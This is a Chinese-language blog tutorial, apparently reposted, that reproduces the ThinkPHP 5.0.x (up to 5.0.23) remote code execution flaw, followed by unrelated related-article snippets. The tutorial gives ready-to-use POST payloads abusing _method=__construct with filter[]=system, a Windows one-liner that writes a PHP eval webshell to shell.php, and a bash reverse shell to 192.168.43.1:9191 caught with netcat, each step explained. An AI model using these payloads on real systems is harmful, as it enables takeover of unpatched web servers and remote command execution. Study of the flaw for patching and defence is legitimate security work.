Thinkphp框架漏洞--->5.0.23 RCE

1.Thinkphp

ThinkPHP是一個免費開源的,快速、簡單的面向對象的輕量級PHP開發框架,是為了敏捷WEB應用開發和簡化 企業應用開發而誕生的。

2.漏洞原理及成因

該漏洞出現的原因在于 ThinkPHP5框架底層對控制器名過濾不嚴 ,從而讓攻擊者可以通過url調用到ThinkPHP框 架內部的敏感函數,進而導致getshell漏洞??
對于適用的范圍:? ? ?Thinkphp 5.0.x<= 5.0.23??

3.漏洞復現

首先要找到一個有漏洞的頁面!!!

然后就可以用工具去fuzz億下!!嘻嘻

?可以看見是能成功fuzz出來的!!!

于是就可以加以利用了,我們這里直接講兩種利用的方法

1.RCE(Remote Code Execute)

遠程代碼執行,那么我們肯定是要上poc啦,在上poc之前,我們要知道,這是一個因為參數覆蓋導致的RCE!!!

那么我們需要去抓包!!!

?先將get包改成post

然后再去修改參數(首先確定是Windows版本的)可以看見頁面上是返回了信息的

那么我們去ping的話應該也是可以的!!!

2.Getshell !!!

1.Windows版本

代碼執行是你的謊言,getshell才是你的真相,直接上poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+^<?php+@eval($_POST['cmd']);+?^>+>>shell.php

可以看見是能夠成功的getshell的!!!?

2.Linux版本

我們也完全可以這樣做,但是呢,可以講一個新的方法

我就直接用vulhub的docker環境了

然后我們要來講這樣的一個命令

_method=__construct&filter[]=system&method=get&get[]=pwd

這個可以用來驗證!!存在漏洞!!!!

然后講一種新getshell的方法

●/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

下面來解釋一下這個命令

  1. /bin/bash 是要執行的 shell 程序的路徑,-c 選項告訴 Bash shell 要執行后面的命令字符串。
  2. bash -i 是啟動一個交互式的shell !!
  3. >& /dev/tcp/192.168.43.1/9191? ?將標準輸出和標準錯誤重定向到指定的 TCP 連接?
  4. 0>&1 將標準輸入重定向到標準輸出,使得輸入和輸出都通過 TCP 連接

這意味著命令試圖在目標主機上建立一個 TCP 連接,并將該連接與一個交互式的 Bash shell 關聯起來,以便攻擊者可以通過該連接執行命令并與目標系統進行交互。

然后,我們在在主機上開啟監聽,我這里用netcat!!(別問我端口為什么這么有特性

?編碼之后發送即可!!

當然了,感覺這個shell還是沒有直接寫的webshell好用呢

對了還要補充一下那個編碼的網址? ?在線url網址編碼、解碼器-BeJSON.comicon-default.png?t=N7T8https://www.bejson.com/enc/urlencode/

那么以上就是thinkphp的框架漏洞的基本原理以及復現啦

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/713271.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/713271.shtml
英文地址,請注明出處:http://en.pswp.cn/news/713271.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

lotus 從礦工可用余額扣除扇區質押

修改 miner配置文件 # Whether to use available miner balance for sector collateral instead of sending it with each message## type: bool# env var: LOTUS_SEALING_COLLATERALFROMMINERBALANCE#CollateralFromMinerBalance falseCollateralFromMinerBalance true質押金…

(Sora模型風口)2024最新GPT4.0使用教程,AI繪畫,一站式解決

一、前言 ChatGPT3.5、GPT4.0、GPT語音對話、Midjourney繪畫&#xff0c;文檔對話總結DALL-E3文生圖&#xff0c;相信對大家應該不感到陌生吧&#xff1f;簡單來說&#xff0c;GPT-4技術比之前的GPT-3.5相對來說更加智能&#xff0c;會根據用戶的要求生成多種內容甚至也可以和…

代碼隨想錄算法訓練營第10天| 232. 用棧實現隊列、225. 用隊列實現棧

232. 用棧實現隊列 題目鏈接 232. 用棧實現隊列 - 力扣&#xff08;LeetCode&#xff09; 思路 記得是用兩個棧實現的隊列&#xff0c;但是細節記不太住&#xff0c;看了視頻才勉強縫縫補補做出來。 本人題解 class MyQueue { public:stack<int> stackIn;stack<…

【C語言】動態內存管理常用函數

前言 我們在之前學習的數組開辟的空間是固定不變的&#xff0c;有時候我們需要的空間??在程序運?的時候才能知道~ c語言中的動態內存開辟&#xff0c;讓程序員??可以根據實際需求申請和釋放相應空間&#xff0c;這使得空間的開辟變得靈活了許多。 歡迎關注個人主頁&#x…

小程序配置服務器域名的操作步驟(入門級)

將詳細列出小程序配置服務器域名的操作步驟&#xff1a; 服務器選購推薦&#xff1a;騰訊云輕量服務器 點擊以下任一云產品鏈接&#xff0c;跳轉后登錄&#xff0c;自動享有所有云產品優惠權益&#xff1a; 經過筆者親測&#xff0c;強烈推薦騰訊云輕量應用服務器作為游戲服…

微服務簡介及其相關技術棧

目錄 1、簡介 2、技術棧 3、單體架構 4、分布式架構 5、微服務 6、總結 &#x1f343;作者介紹&#xff1a;雙非本科大三網絡工程專業在讀&#xff0c;阿里云專家博主&#xff0c;專注于Java領域學習&#xff0c;擅長web應用開發、數據結構和算法&#xff0c;初步涉獵Pyth…

【QT+QGIS跨平臺編譯】之五十七:【QGIS_CORE跨平臺編譯】—【VECTOR_TILE生成】

文章目錄 一、protoc二、生成來源三、構建過程一、protoc Protocol Buffers(簡稱 protobuf)是一種輕量級、高效的數據序列化框架,它可以將結構化數據序列化為二進制格式,同時還可以進行反序列化和數據壓縮。相比于 XML 和 JSON 等傳統的文本序列化格式,protobuf 采用二進制…

wpa_supplicant交叉編譯

文章目錄 源碼編譯openssl編譯libnl交叉編譯WPA 開發板測試使用 源碼 wpa_supplicant官網&#xff1a;http://w1.fi/wpa_supplicant/ GIT源&#xff1a;git://w1.fi/hostap.git openssl 源碼&#xff1a; https://www.openssl.org/ libnl 源碼&#xff1a; https://github.c…

自定義preference的使用

自定義preference的使用 control_iconsize_preference_top.xmlcontrol_iconsize_preference_middle.xmlcontrol_iconsize_preference_bottom.xmlcontrol_iconsize_preference_airplane.xmlcontrol_iconsize_preference_no_arrow_top.xmlcontrol_iconsize_preference_no_arrow_m…

3 開源鴻蒙OpenHarmony4.1源碼下載、編譯,生成OHOS_Image可執行文件的最簡易流程

開源鴻蒙OpenHarmony4.1源碼下載、編譯&#xff0c;生成OHOS_Image可執行文件的最簡易流程 作者將狼才鯨日期2024-03-01 準備一臺Windows電腦 安裝VMware或者VMware Player虛擬機 從華為鏡像下載Ubuntu系統&#xff0c;用國內源下載速度更快 Ubuntu 鏡像說明https://repo.hu…

map和set例題應用

個人主頁&#xff1a;Lei寶啊 愿所有美好如期而遇 目錄 第一題 第二題 第三題 第一題 隨機鏈表的復制https://leetcode.cn/problems/copy-list-with-random-pointer/description/ 思路 首先遍歷舊鏈表&#xff0c;并創建新節點&#xff0c;同時用map將舊節點與新節點…

python模型訓練

目錄 1、新建模型 train_model.py 2、運行模型 &#xff08;1&#xff09;首先會下載data文件庫 &#xff08;2&#xff09;完成之后會開始訓練模型&#xff08;10次&#xff09; 3、 訓練好之后&#xff0c;進入命令集 4、輸入命令&#xff1a;python -m tensorboard.ma…

網絡工程師筆記6

ICMP協議 Internet控制報文協議ICMP(InternetControlMessage Protocol)是網絡層的一個重要協議。ICMP協議用來在網絡設備間傳遞各種差錯和控制信息&#xff0c;它對于收集各種網絡信息、診斷和排除各種網絡故障具有至關重要的作用。使用基于ICMP的應用時&#xff0c;需要對ICMP…

Vue.js+SpringBoot開發社區買菜系統

目錄 一、摘要1.1 項目介紹1.2 項目錄屏 二、系統設計2.1 功能模塊設計2.1.1 數據中心模塊2.1.2 菜品分類模塊2.1.3 菜品檔案模塊2.1.4 菜品訂單模塊2.1.5 菜品收藏模塊2.1.6 收貨地址模塊 2.2 可行性分析2.3 用例分析2.4 實體類設計2.4.1 菜品分類模塊2.4.2 菜品檔案模塊2.4.3…

多輸入多輸出 | Matlab實現RIME-BP霜冰算法優化BP神經網絡多輸入多輸出預測

多輸入多輸出 | Matlab實現RIME-BP霜冰算法優化BP神經網絡多輸入多輸出預測 目錄 多輸入多輸出 | Matlab實現RIME-BP霜冰算法優化BP神經網絡多輸入多輸出預測預測效果基本介紹程序設計往期精彩參考資料 預測效果 基本介紹 多輸入多輸出 | Matlab實現RIME-BP霜冰算法優化BP神經網…

Springboot+vue的考勤管理系統(有報告)。Javaee項目,springboot vue前后端分離項目。

演示視頻&#xff1a; Springbootvue的考勤管理系統&#xff08;有報告&#xff09;。Javaee項目&#xff0c;springboot vue前后端分離項目。 項目介紹&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三層…

GitHub Copilot extension activation error: ‘No access to GitHub Copilot found‘

好不容易學生認證通過了&#xff0c;打開vscode用copilot結果一直報這個錯誤。我的原因是&#xff1a;還未給copilot授權&#xff0c; 通過了學生認證后要進入這里進行授權&#xff1a;

Vue Html中插入本地視頻(Video 標簽)

在 Vue 中插入本地視頻可以通過使用標簽來實現。你可以將視頻文件放在你的項目中的合適位置&#xff08;比如assets文件夾&#xff09;&#xff0c;然后在 Vue 組件中引用這個視頻文件。html同理 首先&#xff0c;在你的 Vue 項目中的assets文件夾下放入你的視頻文件&#xff…

k8s單機部署zookeeper

&#xff08;作者&#xff1a;陳玓玏&#xff09; 拉取鏡像&#xff1a;docker pull zookeeper&#xff1b;編輯yaml&#xff1a; apiVersion: v1 kind: Service metadata:name: zookeeperlabels:app: zookeeper spec:ports:- name: clientport: 2181protocol: TCPtargetP…

QT TCP傳輸文件+ui

TCPFile tcp協議傳輸文件 TCPFile.pro QT core gui networkclientwidget.h #include <QWidget> #include <QTcpSocket> // 通信套接字 #include <QFile>private slots:void on_pushButton_clicked();private:QTcpSocket *tcpSocket;QFile file; /…